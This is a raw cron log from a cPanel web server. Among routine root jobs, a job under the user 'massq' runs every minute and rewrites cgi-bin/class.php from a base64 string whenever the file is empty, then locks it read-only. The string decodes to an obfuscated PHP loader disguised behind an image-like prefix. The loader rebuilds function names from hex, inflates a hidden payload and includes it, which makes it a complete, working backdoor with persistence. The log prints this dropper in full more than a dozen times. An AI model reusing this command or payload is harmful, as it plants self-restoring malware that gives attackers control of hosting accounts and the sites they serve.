&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:00:01 server CROND[18082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 16:00:01 server CROND[18084]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 16:00:01 server CROND[18085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:00:01 server CROND[18088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:00:01 server CROND[18090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:01:01 server CROND[18898]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 16:01:01 server CROND[18899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:01:01 server run-parts(/etc/cron.hourly)[18898]: starting 0anacron
Nov 12 16:01:01 server run-parts(/etc/cron.hourly)[18911]: finished 0anacron
Nov 12 16:02:01 server CROND[19716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:03:01 server CROND[20545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:04:01 server CROND[21452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:05:01 server CROND[22269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:05:01 server CROND[22270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:05:01 server CROND[22271]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 16:05:01 server CROND[22272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:06:01 server CROND[23162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:07:01 server CROND[23968]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:08:01 server CROND[24789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:09:01 server CROND[25554]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 16:09:01 server CROND[25556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:10:01 server CROND[26478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 16:10:01 server CROND[26480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:10:01 server CROND[26483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:10:01 server CROND[26484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:11:01 server CROND[27359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:12:01 server CROND[28147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
